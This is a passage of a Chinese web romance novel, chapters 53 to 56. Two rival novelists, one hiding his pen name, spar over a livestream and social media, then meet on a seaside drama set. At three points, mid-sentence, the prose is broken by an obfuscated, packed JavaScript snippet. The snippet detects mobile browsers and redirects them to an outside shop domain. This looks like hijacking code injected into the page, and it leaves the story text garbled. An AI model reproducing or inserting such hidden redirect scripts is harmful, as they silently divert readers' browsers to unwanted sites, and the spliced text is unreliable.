大家其实都很好奇他会露出什么样的表情，会不会气急败坏、暴跳如雷，会不会冷言冷语、刻薄讥讽。 谁知。 左下角的摄像头对着键盘，只拍到了一双修长漂亮的手，在看清言不言的那一刻，万众瞩目的作者右手离开了键盘，似是掩了下唇。 随后，正在听哑巴直播的众粉丝从媒体扬声器里听到一声极轻极温和的低笑。 [？] [？？？] [什么反应？] [这是嘲讽吧？] [这么好听的笑是嘲讽？？那我要是言不言我肯定天天想听他嘲讽我] 无数弹幕刷起来，有感叹他笑声的，有感叹他对言不言态度的，直播间跟疯了一样。 好言难劝更疯。 只知道自家产品是宿命之敌，但没人说连嘲讽都这么苏啊！ 53. 海纳思 [别yy了好吗，就是冷笑啊，听不出来吗？] [今辰好老师是被气笑了吗？] [言不言别潜水了大家都看着呢，出来说说话！] 祝君忱也想听听颜语凉会说什么，等了好一会儿，发现这人始终一言不发，似乎只是在单纯地挂机，便在文档里轻描淡写地盖过了关于言不言的话题。 博客上听到言不言在今辰好直播间的消息纷纷前来看热闹，结果弹幕比想象中还要和谐。 [老师，想问问有关海纳百石的感情线，环时是什么时候喜欢上傅笛的呢？] [老师，虽然之前博客上相关的问题有很多，但是我还是想问一句你把《尘封水》程末写死了，你后悔吗？如果没死就能写第二部了。] 祝君忱能答的几乎都会答，他打字飞快，完全不影响交流。 “刚刚看到一个弹幕说，环时第一眼就对傅笛有好感，很对，不然也不会误以为她拿走了自己的心脏，至于他是什么时候喜欢上傅笛的，我想连他自己都不能确定是哪个时间点吧，或许是海中捞月？或许是为她变出从没见过的海上极光？或许还要早。” “关于《尘封水》，我中肯地说，言不言老师剧版的oe结局很棒，但是我的原创小说主题是真相，不是真情，所以没有什么后不后悔的，我心中的程末是死在火中的，但是真相不会，是他用牺牲换来了真相。现实中也一样，真相是需要付出代价的。” 带着西瓜来的人端着书里的cp饭出去。 [老师（没看到就算了），能不能中肯地评价一下言不言老师？] [今辰好老师手好好看啊啊！看半天了打字好快！] [有没有什么提高码字速度的方法？] 弹幕刷得其实很快，那条让他评价一下言不言的弹幕一闪而过，但是祝君忱还是看到了。 他的电脑屏幕上中间是专门用来回答问题的文档，右侧是疯狂闪动的直播间弹幕。 从开播到现在，他一直是弹幕弹窗停在哪就回哪个问题。 下一秒，清脆的键盘声顿止，直播间的众人看见今辰好老师一直跳在键盘上的手挪到了鼠标上，然后屏幕上的光标移动到右侧弹幕弹窗，向上滑动了四五十条。 大家都以为他是看见什么有趣的问题了。 没想到，光标停在了那条“评价言不言”上。 [？] [《没看到就算了》] [要干嘛？] [要开始了吗？！（端起西瓜）] 祝君忱确认不是自己眼花，确实有这条问题后，在文档上写“中肯评价一下言不言老师？” 观众们无不屏息凝神，想看看他会说什么。 镜头里，今辰好老师的手顿了很久，几次指尖落在键盘上却又抬起，犹豫又纠结。 观众们开始在直播间分瓜子—— [谁有瓜子我嗑完了] [焦糖的要不要？] [原味谁要！] 有人还在纠结为什么没有小龙虾味的瓜子，就看见今辰好终于落笔了。 “中肯评价言不言老师？——偶尔爱挠人。” [？] [？？？] [好怪，再看一眼。] [别劝我……我一开口就是西皮。] [你是不是不理解什么是中肯评价？？？] 揣着瓜子的观众端着产品出去，又捧着博客热搜进来。 ＃今辰好：言不言剧版《尘封水》很棒 ＃言不言蹲守今辰好直播间 ＃中肯评价一下言不言老师 今辰好：会挠人。 泡在剧组的颜语凉当然不知道自己已经成了热搜常驻嘉宾。 他们正在拍剧中最优美最令人心动的一个名场面：海上捞月。 也是织水者时隐约暴露身份的一场重头戏。 四面八方的人原本都围着孙导，孙导大手一挥说让编剧决定，大伙儿现在全围着颜语凉，说着各自对这一幕的见解，摄影指导说去海上拍更有感觉，今晚月色那么好，后期特效肯定赶不上；妆造老师说这场戏女主有落水环节，一条没拍好就得重新弄妆造，而且秋夜风凉，万一感冒了得不偿失，而且为了追求完美，肯定不能只拍一条；美术指导说可以把这一段改一改换一种不用下水的方式来暗示织水者的身份。 在七嘴八舌的人声中，言不言老师有点脑仁疼，“哗”地从小椅子上站了起来，在众目睽睽下拿出手机，做了个噤声的手势。 周析薇刚拍完一条室内戏，过来想说这场戏可以两边都拍了囤着，苦一点也没事，按原著拍就行，就见颜语凉站了起来，她问：“编剧老师，怎么了？” 颜语凉沉声：“慰问一下原作者。” 周析薇：“……” 助理请把我手机递过来，在线吃瓜。 颜语凉不知道自己现在正在热搜上挂着，径直发了条博客。 [言不言： @今辰好你知道英雄救美的环节有多老套吗？？？为什么要叫海纳百石不是山纳百石？？你知道在海边拍戏有多麻烦吗？？？] 和《尘封水》那时的架势一模一样，咄咄逼人，无理取闹。 发完他就舒坦了，放下手机开始效率极高地解决问题。 完全没想到，就在他发出帖子的那一刻，正在直播的今辰好电脑屏幕右下角连续闪出两条推送—— [您的特别关心 @言不言 发布一条博客。] [您的特别关心 @言不言 @了你。] 书房里，祝君忱连忙抬手关掉，然后扶额头痛起来。 纵使他反应再快，手速再快，也肯定有人看到了。 他抬眸，果然看到了满屏的问号和感叹号。 荣获今天第不知道多少条热搜—— #今辰好特别关心言不言 * 断网少年颜语凉什么都不知道，在剧组里忙得不可开交。 今晚的月亮很圆，他们的拍摄地点在海边，海风吹得有些凉，主演们刚从水里湿漉漉地出来，助理们一拥而上给他们做保暖和化妆工作，缓一缓再拍一条。 颜语凉只穿了一件薄外套，有些扛不住便跑回了剧组为他专门搭的临时休息室。 已经靠近九点了，博客推送99+，可能是他俩小时前的吐槽引起的波澜，疲倦让他懒得去在意、翻看。 颜语凉轻轻耷下眼皮，休息室里比外面暖一些，他一边摩挲自己冷得发白的手指，一边在书桌前坐下窝起身子取暖。 缓过来一些了，他站起来朝远处正在筹备下一条拍摄的片场看，靠在窗前。 海上生明月，一只沙鸥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758129|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在沙滩上挪了两步，扑棱着飞向远处的黑夜。 之前一直被人群包围着，没有空闲。 这下离喧嚣忙碌远了，他心头猛的空起来。 抬起手机下意识点开了祝君忱的微信聊天框，看了好久。 两人的聊天记录停留在前天对方发来的《小姐小姐》小剧组的合照。 合照里祝君忱站在最右边，脸上的笑很淡，让人陡然生出距离感。 颜语凉看着那张脸，心口酸了一下，他发现自己特别想祝君忱。 反应过来的时候电话已经拨出去了。 可能对方在忙吧，没有立刻接。 颜语凉听着规律响了三十秒的“嘟嘟”声，心想要不挂了说摁错了吧。 因为如果接通了，他也不知道该如何解释这通电话。 就在他犹豫踟蹰间，手机震了一下，电话通了。 他的手心被震得发麻，一直麻到肺骨，没来由地紧张。 颜语凉还没有想好跟祝君忱说什么，说猫吗？上次用过了。说剧组吗？可是他现在不想聊工作的事。要不说土菜馆的排骨没他做的好吃？ “喂？”电话那头熟悉的声音打断了他的思路。 颜语凉听着更想他了。 “嗯。”他闷声应道。 思绪万千哽在喉头，颜语凉轻抬眼眸，目光落在较远处的一座灯塔顶端，那里亮着橙黄色的灯。 电话那头没有说话，估计在等他说明来意，颜语凉懒得去找什么欲盖弥彰的话题，轻唤他一声：“祝君忱。” 语调很低，尾调暗哑，就像一道没做好准备就被推到礁岸的浪。 “怎么了？”祝君忱似乎离话筒更近了些，有些担忧地问。 “没事，就叫叫你。”颜语凉摸了下鼻子。 祝君忱听出他情绪不高，调笑着说：“听起来像受欺负了。” 颜语凉本来想说一句“怎么可能”，但是话到嘴边变成了一声带着鼻音的轻哼：“嗯。” “谁能欺负我们言不言老师？” “你。”颜语凉控诉。 祝君忱有一瞬间怀疑是自己今晚直播露出了被他发现身份的马脚，但想起对方今天也是忙得不可开交，疑虑稍微散了些，他试探着问：“我怎么欺负你了？” “……你不给我打电话。”这一周都没有电话。 听到他这么说的祝君忱自顾自松了口气，随即心口软下去一块，轻笑着哄道：“那我天天给你打。” “哦。”大忙人颜语凉对自己能煲电话粥的时间毫无自知之明，只知道自己听到这句话的时候，心跳开始一下比一下重。 他默了两秒，听了一会儿震得自己耳膜发烫的鼓点，像含了一块化开的糖，隐秘地开心起来。 沉寂一会的电话那头又问：“在想什么？” “……我在想，今辰好有句话写得很好。”颜语凉的声音很轻。 祝君忱很少听到颜语凉夸自己的笔名，从家里的书房走到卧室，倚在飘窗上，抬眼看到外面挂着一串很圆的月亮，问：“什么话？” “海纳百川，也纳百石。思念能越百川，也越百石。”颜语凉抬眸看向那片深蓝色的海，一层一层的浪正在汹涌交叠，就像他呼之欲出的那句话。 吐了一口气，他继续说：“祝君忱，思念是一片海。” 54. 思入海 说出口的刹那，颜语凉心底便腾起巨大的忐忑。 他怕自己话语太赤裸，怕对方轻易知晓，又怕对方不轻易知晓 。 他以为电话那头的人会沉默思忖一会，没想到下一秒就听到了祝君忱一声很轻的笑。 “舟山的海，好看么。” 颜语凉眸中那片一望无涯的海依旧一层一层地卷着浪，他抬手轻压了一下震跳的心口说：“好看，今天的月亮很圆。” “今晚北京的月亮也很圆，夜色很美，但是你刚刚有一句话说错了。” 颜语凉缓了口气问：“什么话？” 却听对方把刚刚自己冲动说出的情话加倍还了回来：“颜语凉，思念是一片片海。” 秋天真的已经侵入万物，连同他闻言轻颤的指节。 海涯上匍匐的槟柃木悄然落下一片不沾尘的黄叶，颜语凉的目光遂着这片黄叶飘了一会儿，直到它被吹向无垠的海。 理智告诉他应该立马说什么话，不然这样的氛围将会继续僵持。 两人皆默然一刻，却是祝君忱先开的口：“听说……《海纳百石》灵感来源于作者的暗恋故事。” 一个关于无尽思念的故事。 海纳百石，海纳百思。 颜语凉却奇怪：“我怎么没见今辰好说过，这么私密的东西能扒出来？” “那可能是读者的臆测吧。” 颜语凉想起刚刚的那场戏。 傅笛被环时带到浅滩，海水湿咸，无根生树，月色蔓延，银盘在水。 织水者揽着女孩，一跃上枝。 “金丝猴捞月捞的是空荡一片，你捞捞看？”环时对女孩说。 傅笛捞起的自然也只有清澈的海水：“我捞起的，不也是一片空荡？” 环时却摇头，虚握着女孩的手一偏，手中那一瓢清水里露出月亮的模样：“不，你捞起了月亮的心脏。” 待瓢中水漏尽，露出底下一枚蔚蓝色的贝壳，傅笛惊呼出声。 而后女孩脚下一滑跌落入海，为环时所救。 湿漉漉回岸上，怀里的女孩攥着手中的蓝色贝壳猝然睁眼：“你属于那片海吧。” 瞒不过聪慧的少女，环时只是开口：“等我准备好了，我会告诉你。” “不会一辈子都不告诉我吧！”女孩把喉中呛到的水尽数咳出，死死攥着环时的衣襟。 环时摇头，只知道眼下不是最好的时机，却没曾想他为等一个最好的时机等了女孩很久很久。 他活得太长，其实不记得时间，却清晰地记着女孩离开后的一个又一个日夜。 哪天太阳的日出方位角偏了几度，哪天的云遮住了月亮撒下的光辉。 环时日日去那个初遇的礁石。 月圆月缺，他却再也没等来那位捞起月亮的姑娘。 直到出走半生的傅笛终于回到了这片魂牵梦萦的海。 见到干练的女孩的那一刻，熟悉又陌生，又麻木地当了二十年官的织水者感觉自己沉寂已久的胸腔重新温热起来。 这些年，他揪出了偷走他“心脏”的元凶，罪魁祸首早成了海上某一片泡沫。 但是环时知道，这块意味不明的石头根本没有什么用，他的心口有一块真正的心脏，只是在女孩不告而别、遂着家人而去的时候僵化成了一块冰石。 他拥有许多，拥有无边无际的海，拥有一人之下万人之上的地位、和无尽子民的爱戴。 却拥有不了那个拿走他真正心神的姑娘。 万般酸涩皆入海，无处可求，求而不得。 颜语凉想了一会，笑说：“如果真是根据他暗恋故事写的，那他岂不是自己把自己当皇帝？自恋。” 本就有点后悔同他讲这个的祝君忱听他这么说更加后悔起来。 颜语凉又跟他分享了许多今晚片场的趣事，诸如周析薇和秦濯站上道具的时候道具突然塌了，然后两人被威亚吊在空中玩石头剪刀布；孙导又给小郭取了新的别称叫小水晶，原因他摔碎了一罐道具水晶…… 祝君忱听得认真，待他说完，问：“你今晚还没空看博客？” “哪来的空看博客。”颜语凉说话轻飘飘的，刚刚说了好大一长串，冲动、莽撞的心绪才彻底被压下去，他抹了下手心，才发现 ，在这爽朗的高秋，他的手心居然不知何故出了大把的汗。 说到博客，他确实应该去看看，看看今辰好今天要怎样回复自己的诋毁。 刚打开，就愣住了。 他所发的博客下边并无想象中今辰好的回复，而是大批大批的人在说什么“小猫挠人”。 “嗯？”他疑惑一声。 祝君忱听着他那的动静，猜测他是去翻博客了，默不作声一会儿，装作不知情地问道：“怎么了？” “……”颜语凉的目光飞快地扫了眼热搜，真是人在片场坐，热搜天上来，文娱榜满屏满页全是他和今辰好，还有几条某明星恋情曝光和别的剧组炒的cp，夹在有关于他俩的热搜中间，起一个逗号的作用。 他说：“先挂一下，我得去和今辰好大战三百回合。” “……”祝君忱说，“行。” 言不言老师要求转移战地。 那便奉陪。 颜语凉看完了热搜榜，有些云里雾里。 什么鬼。 今辰好说《尘封水》剧版好？ 今辰好中肯地评价他挠人？？ 今辰好给他特别关注？？？ 这人真是背着他干了票大的？？？ 他思来想去，从这个词条出来，又进了那个词条，满目的好言难劝给他脑子都洗宕机了。 最后他给祝君忱发了个消息。 【我无言以对】：我觉得，今辰好要跟我炒cp（微笑.jpg） 正挂着博客“时刻备战”的今辰好本人：…… 真的全是被断章取义的无心之举。 颜语凉听不到祝君忱的辩解，为了探求真相他兀自跟着博客某条指路帖去看今辰好的回放。 刚开播的时候镜头有些晃，露出了一只干净漂亮的手，骨节分明，颜语凉扫了一眼，默默评价：“没有祝君忱好看。” 键盘是银白的，手指敲上去清脆回弹，颜语凉却想：“没有祝君忱的键盘有质感。” 对方是七点开播的，颜语凉忘记删后台，所以在直播间挂了一阵子，今辰好看到他的名字时，嗤笑一声——“分明是赤裸裸的挑衅！” 八点左右，今辰好回复弹幕，中肯评价《尘封水》，嗯，的确中肯，这确实是被恶意剪辑了。 就在其后，今辰好找到了一条让他中肯评价言不言的弹幕，思索片刻说“偶尔爱挠人”。然后没多久，由于他发了条“抨击”对方的博客，今辰好收到两条特别关心的推送。 颜语凉感觉自己气得耳尖发烫。 看到最后，发现这人在九点不到的时候称有个重要的电话就匆匆下播 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758130|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 别的作者都是六点半播到九点整，就他搞特殊。 作者老师重感冒还这么辛苦地做问答，最后还说会把今天所有的问答都放出来，书粉们自然非常感动、心疼、体谅。 但是，言不言老师可不体谅，他在今辰好发布的那几张问答下面扣问号。 [言不言：？？？] [言不言：迟到早退哑巴直播？？] [言不言：偶尔爱挠人什么意思？] [言不言：还有特关什么鬼，你疯了么？？] 今辰好居然一秒回复，就像时刻在蹲守他一样。 [今辰好回复 @言不言：迟到是因为今天实在有点忙，早退是因为家里猫打电话给我。] 颜语凉头一次见有人把早退推猫头上的，无语回复：“那你猫真聪明。” 今辰好脸皮很厚地附和：“嗯，我也觉得。” 对方又耐着性子把剩下两条回复了。 [今辰好回复 @言不言：爱挠人字面意思] [今辰好回复 @言不言：特关……特关你之后会知道为什么的。] 看上去是什么都答了，实际上还是什么都没答。 还是黑粉们说的在理。 [特关当然是为了第一时间喷你啦，一定要我们今辰好老师明说吗？] [别往脸上贴金了，给你个特关总不能是爱上你了，肯定是为了不能败任何一场与你的争斗啊！] 他们说的字字诛心，但是对颜语凉伤害性不大，反而觉得很有道理。 可惜言不言老师回看直播看得不够仔细。 如果他再认真比对一下时间的话，就会发现，今辰好直播到最后接到所谓“猫”打来的电话的那一刻，同他给祝君忱拨电话的时间一般无二。 今日发生的小插曲，让颜语凉晚上辗转反侧到一点多都没睡着，拉着祝君忱又说了很多关于今辰好的话，好的坏的都有，才心满意足地阖眼睡去。 第二天是个极好的天气，艳阳高照，本已经低于十度的温度竟回升到二十几，颜语凉自作聪明吸取昨夜的教训，穿了件偏厚的毛衣。 这会儿被孙导和两个指导围着，他背后有点涔涔地出汗，吸吸鼻子把袖子卷得很高。 可能是昨天海风吹得太久了，亦或者是昨晚拉着祝君忱说了蛮多的话，今天嗓子有些干哑。 他原以为多喝两口水便能好了，没曾想到熬到傍晚竟加重了许多，周析薇凑过来跟他聊接下来的剧情时都发现了他的异样。 “言不言老师，你是不是有点感冒了？” “嗯？没有吧。”言不言老师丝毫未觉，只是以为自己今天和旁人说的话太多了才干巴巴地疼，听周析薇这么一说，他的头似乎真的有点晕。 手机突然一震，正巧手头空闲下来，便拿起手机看看，估计是祝君忱发来的《小姐小姐》的片场消息。 但他只猜到了一半。 【忱.】：片场怎么进？ 颜语凉没看懂他在问什么，只当他在问《小姐小姐》的事。 【我无言以对】：？剧组把你关外面了？你问小陈导呀 对方没有多解释，只是发了个定位过来。 劳碌了一天，他有些怏怏的，随手点开了那个定位。 对方距离自己<> 颜语凉：！！！ 他猝然睁眼，因为昨天还在电话里听他胡言乱语的祝君忱今天就到了东极岛！ 55. 思如海 颜语凉心下一喜，顿时嗓眼也不疼了，头也不晕了，干脆直接和他共享位置，看着微信地图上好友的头像越来越近，肉眼可见地欢愉起来。 孙导转头瞧见刚刚还淡淡打工的编剧老师突然浑身都开始发光，奇怪道：“言不言老师，您是想到什么好点子了吗？” 颜语凉乐滋滋冲他一笑，说：“我出去一下。” 今天的片场也搭在海边，出了遮阳小棚子，海风习习，吹得心头燥意微霁。 颜语凉沿着海边的礁石，盯着手机屏幕上的定位走。 很快便看到了那个站在剧组杂物边的人，这里是片场的边沿，全组大多数人都围着导演那头转，这里人比较少。 祝君忱站在那等着颜语凉来接他，目光落在身侧一箱五彩斑斓的道具上，日光透过轻薄的云雾在他身上落下一层绒光。 频频有后勤的人投来目光，后勤人员正嘀咕着这位是哪个被怠慢的十八线小明星身边居然连个助理都没有，就看见他们一向云淡风轻的工作狂编剧老师三步并两步地跨到了对方面前。 脸上是不曾对他人露出过的欣喜与愉悦。 颜语凉拣着没摆道具、没有石头、较为平坦的地方走，站到祝君忱面前的时候，发顶被海风卷起一根小呆毛，衬得他高兴的面色愈发可爱。 “你怎么来了？”他弯着眼睛问。 “之前不是答应过你来探监吗。” 祝君忱今天穿了一件灰色的薄卫衣，和自己的灰毛衣一个色系。 颜语凉突然不后悔今天穿厚了，脑内的小人开始暗戳戳地撒花。 撒完花开始转圈圈。 兴许是耳畔大海的声响太过催人心痒，他听着对方说着“探监”，抬眸对上目光，忽而想起昨夜的那一片隐秘的、翻卷的、有关于思念的海，心下涌起一股难以言明的冲动。 颜语凉目光一侧，落在他身后的海岸线上，片刻，又听祝君忱说了两句什么，脑子里呼啸着海风的湿咸，什么也没听清，那股冲动便再也压不下去了。 他挑了个稀烂的借口说：“《海纳百石》里写，许久未见的人应该以‘你好’开场，‘好久不见’寒暄。” 顿了顿，他攥着手心，声音不由自主发紧：“好久不见，虽然没多久，但是能抱一下么？” 说完耳骨便烧得滚烫，颜语凉瞧见祝君忱脸上的表情顿住一秒。 他后悔说这句话了，这样的试探太过直白，仿佛把心事直接摊到沙滩上，等不到被海浪藏走，就已经赤裸裸地暴露在对方面前。 祝君忱的目光扫过不远处正在忙碌的剧组，最后落在面前的颜语凉身上，微微张了张双臂。 颜语凉反应过来的时候自己已经拥上去了。 去你妈的后悔。 冲动、惊喜、心动、怯涩全都混杂在这个拥抱里。 他只闻到对方身上氤氲着玫瑰香气，和国庆节那次的匆匆一瞥不一样，这一回他几乎浸入其中。 男人的肩膀比想象中宽大，颜语凉的手顿时不知往哪放，最后用力松开攥得发白的指节，覆在了对方的肩胛处。 掌心属于祝君忱的温度烫着他的心口，对方也抬手轻轻拍了下他的腰背。 颜语凉最近对祝君忱说了很多一出口就后悔的话，但是每一次都被回应，被纵容，被迁就，被捧在手心托起。 他抱了好一会儿，没舍得撒开，得寸进尺地黏着，感觉自己像个狗皮膏药。 闻着清冽萦绕的蓝玫瑰香气，他有点想侧头蹭一下对方的脖颈，这回是忍住了，闷声自夸：“不愧是我挑的香水。” 真好闻。 “嗯，”祝君忱的声音从未如此近过，就在耳侧，颜语凉仿佛能感受到对方声带的震动，“你今天工作忙么？” 颜语凉索性把额头抵在臂环中人的肩膀，微微摇头：“还行，可以早退。” “很多人在看你。”祝君忱本落在他肩头的目光抬起，看向原本在忙碌的剧场，这会儿几乎大半人都看向了这一片。 工作可以耽搁，吃瓜不可耽搁。 尤其还是大名鼎鼎的、昨天还挂在热搜上的编剧的瓜。 颜语凉轻哼一声退开一步，结束了这个拥抱，佯装不解：“好朋友抱一下有什么好看的。” 可他心里清楚：抱这么久，可早就越过朋友的界限了。 “析析！”远处孙导的斥责声唤回了所有人的心思，“别开小差，再来一条。” 刚刚那条结束，第一个发现他们编剧在和陌生男子抱抱的周析薇一吐舌头：“好的导演！” “嘻嘻？”祝君忱正和颜语凉一起往片场中心走，闻言偏头看向颜语凉。 颜语凉翘着嘴角：“女主演是周析薇，我之前不是跟你说这个导演特喜欢取小名吗，孙导给女主取的名字叫析析，听起来像在笑，是不是特好玩？” ＊ 颜语凉领着祝君忱坐回原来的小马扎上，招呼小郭再拎一张过来，同旁边的导演介绍道：“这是我的朋友，祝君忱。” 孙导脸上挂满笑：“你好啊，小祝。” 小祝同学和他握手，却听对方开玩笑道：“你的名字和我们小《海石》原作者名字还挺像。” 小祝同学一怔，瞥向身侧的颜语凉。 颜语凉幽幽然看着导演：“说啥呢，不就一个字读音一样吗？” 孙导嘟囔道：“最近谐音取外号取多了。” 随即大手一挥给颜语凉放一晚上假，转转片场、陪陪“好”朋友。 领了假的颜语凉打算带祝君忱去吃这一带最有名的海鲜。 偏近六点，小岛正迎来一场盛大的落日。 绯红的暮色烧着天上的薄云，粉色橙色交织成布，铺了漫天。 两人并肩走在沙滩上，颜语凉抬眼就是满目绯色，映得脸庞都红扑扑的，海风吹拂，他侧头问祝君忱：“你在这待几天？” 祝君忱说：“后天走，大后天早上有课。” “哦，”颜语凉盘算着附近有没有好玩的地方，“明天早上我们起个大早赶海去吧！” 还能一起看日出。 祝君忱欣然应允。 颜语凉雀跃地快步往前迈步：“对了，你也是尽书的作者吧，那个作者分享大会你参加了吗？” 不管对方参不参加，都能缩小范围，有利于小颜同学扒人马甲。 如果参加的话就更好找了，一共参加的作者也就四十来个。 但是祝君忱如果想把马甲捂得更严实一些的话应该不会参加的。 “嗯，参加了。” 脑子里转着小九九的颜语凉闻言抬起眼皮看他一眼，一刻也不愿等，顿在原地，揣着手机去尽书官网找起来。 祝君忱脸上没露什么别的情绪，看着他一页一页翻尽书官网发的官宣博客。 颜语凉翻了好两页没什么头绪，又抬头去观察祝君忱，发现这人竟没有露出半分担忧、紧张，怪道：“什么表情，是不怕我找到，还是觉得我找不到？” “……”祝君忱坦然和他对视，诚实道，“我觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758131|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你找不到。” 因为颜语凉第一个排除的就是正确答案。 “不可能。”颜语凉不信邪。 他们站在海边，海浪正好卷不着他们，落日的余辉把两人的影子拉得欣长，借位交叠。 祝君忱抱臂站得侧了些，看他：“给你十次机会，猜我笔名。” 颜语凉兴致盎然：“昨日生泉！” 祝君忱摇头。 颜语凉雄赳赳，气昂昂：“重温执念的小馒头！” 祝君忱摇头。 “安辰？” 祝君忱还是摇头。 前几次机会颜语凉还用得非常潇洒，后边几次明显犹犹豫豫起来。 一连九次都猜错。 颜语凉意兴阑珊：“今辰好。” 祝君忱沉着脸点头：“嗯。” 颜语凉蔫耷耷，软绵绵：“那你离我远点。” 看他的表情是一点没信，祝君忱：“……” “我宣布这是你最后一次拿他当挡箭牌，下次我必给你马甲揪了！” 看着他失望难过又立马重燃斗志的样子，祝君忱凝了下眉，突然开口说：“尽书网这次的作家分享大会是为了万圣节的作家签售会预热，你知道吗？” “嗯？知道。”颜语凉一愣，尽书网偶尔会举办官方性质的签售会，前几次邀请他的时候他都跟编辑说自己不太抽得出时间，反复几次，编辑也看出来颜语凉没什么出席签售会的意愿，就再也没邀请过他，“你参加？” “对。”夕阳斜下，也许是太阳收敛了些光芒，祝君忱的眼底没有之前那么亮，他看着颜语凉又被风吹得飘逸潇洒的卷毛，说，“到时候你就知道我是谁了。” 颜语凉没察觉到他一闪而过的情绪变化，感觉日子都有了盼头，往前踏了两步，踩着软软的沙子，说：“突然有点紧张。” 比他更紧张，也知道这意味着什么的祝君忱，顿了下说：“到时候别不理我就行。” 颜语凉奇怪：“为什么？你招惹过我么？我肯定不会不理你啊。” …… 那已经不止是招惹的程度了。 颜语凉见他不说话，也没追问，眸光下落，落在对方垂在身侧的手指上。 天边的云霞已经隐隐有了霁色，橙色的火焰烧得越来越淡，夜幕很快就要降临人间。 此刻他们无言走在海边。 离片场已经走了很远了，中途路过一个出口，但是颜语凉私心想和祝君忱多逛一会儿海滩，装作不知道，对方对这一片地形不熟，自然跟着他一块错过了。 颜语凉攥紧手心又悄然松开，胸口很热，他咬了下唇，很轻地抬手，小心翼翼用食指勾住对方的小指。 祝君忱似乎偏过头来看向他，但他不敢抬头，只知道自己的胸膛、耳廓、脖颈在碰到这人温度时同步开始发热，快褪尽的夕阳留他心头烧不尽的火。 他的声音很小，含糊道：“你带着我走吧，我怕我又走歪了。” 蹩脚、拙劣、牵强。 但是祝君忱说：“好。” 祝君忱走在前头，他走在后头，手上交织的温度混杂着海风，聚了又散，散了又聚，偶尔能闻到一丝轻如水雾的冷玫瑰香。 颜语凉抬手把毛衣领子拎起来，把脸埋进去一点，耳边络绎不绝、密密麻麻的心跳传到指尖，不知道祝君忱能不能听到。 有一个关于冰蓝玫瑰的心事。 海风知晓，秋风知晓，鸥也知晓，虫也知晓。 只差你知晓。 56. 小病号 颜语凉带祝君忱吃了上次和孙导他们一块来的海鲜馆。 仗着自己待在海边已经半月有余，便“自鸣得意”地介绍着一道道海鲜，小嘴张张合合还真有板有眼。 祝君忱一边看着他侃侃而谈，一边拆着蟹肉，弯起眉梢。 颜语凉对上他柔和如水的目光，话语停住片刻，嗓眼一痒，很轻地咳嗽一声。 才发现自己的嗓子其实一直没好，刚喝一口冰镇啤酒，这会儿已经开始火辣辣地疼。 “怎么了？”祝君忱敏锐地问。 “没事，应该是今天话讲多了。”颜语凉解释。 祝君忱抬手利落地给他倒杯温水，抽走他面前刚从冰箱里拿出来还在丝丝冒冷气的啤酒。 颜语凉不满地撇撇嘴，却老老实实将这杯温水抬到嘴边，做喝酒状，潇洒地灌了一口。 祝君忱学着他的样子，不过他的杯子里是冰啤酒。 祝君忱定的酒店正好在颜语凉同一层，回到酒店，颜语凉把祝君忱拉到自己房里。 夜幕已深，落地窗前的大海黑蓝一片，很远很远的地方缀着小亮光，不知是星星还是灯塔。 “我看你的房间是面向小区的，没我房间视野好，请你来我这看大海！”颜语凉拉开纱窗，靠在窗口。 祝君忱抬眸远眺。 “我们明天就去那一片捡贝壳吧，不知道能不能捡到蓝色的。”颜语凉指着远方那片海岸，他对蓝色总是情有独钟。 “好。”祝君忱说，他的目光往回收，落在颜语凉书桌上某个小物件上。 “哦这个。”颜语凉注意到他的视线，“你送我的香薰蜡烛。” 前几天生日，祝君忱把生日礼物寄到酒店，还诓他说是一箱今辰好书籍的事，还历历在目。 居然已经过去快一周了。 礼物当然不是某位死对头的书，而是这个鹅黄色的香薰蜡烛，桂花味的，味道清冽又艳丽，点燃后久久驱散不去。 “好用吗？”祝君忱问。 “当然。”颜语凉从床边踱到桌前，倚着桌子向祝君忱展示，为用这个蜡烛，他来舟山当晚特地跑很远的文创店买了个配得上它的漂亮火机，他一拨扑克牌样式的打火机，一团红色火焰便蹿出来。 夜色中，扑朔的火焰被挂在香烛间，闪烁两秒后稳定下来。 只消片刻，丝丝缕缕的淡香便萦绕鼻尖，沁人心脾。 “我现在写剧本前都点，感觉思路都顺了许多，要不是怕它用太快，我恨不得睡觉都点着。”颜语凉眼中亮着烛火，“昨天晚上一回酒店就上床，所以没点，如果前一天点过，晚上下戏回来的时候都还能闻到很淡的桂花味。” 窗户没拉，外头萧瑟的秋风凉嗖嗖地吹进来，烛光摇曳，忽闪几下却没灭。 祝君忱离窗口近，抬手把窗户关上。 转头瞧见颜语凉埋头凑近那团火，像一只小猫一般闭目轻嗅，再睁眼，眸光沾满桂花味的喜悦。 仿佛真的将金秋的那一寸花团夜雪，藏进了小巷人家。 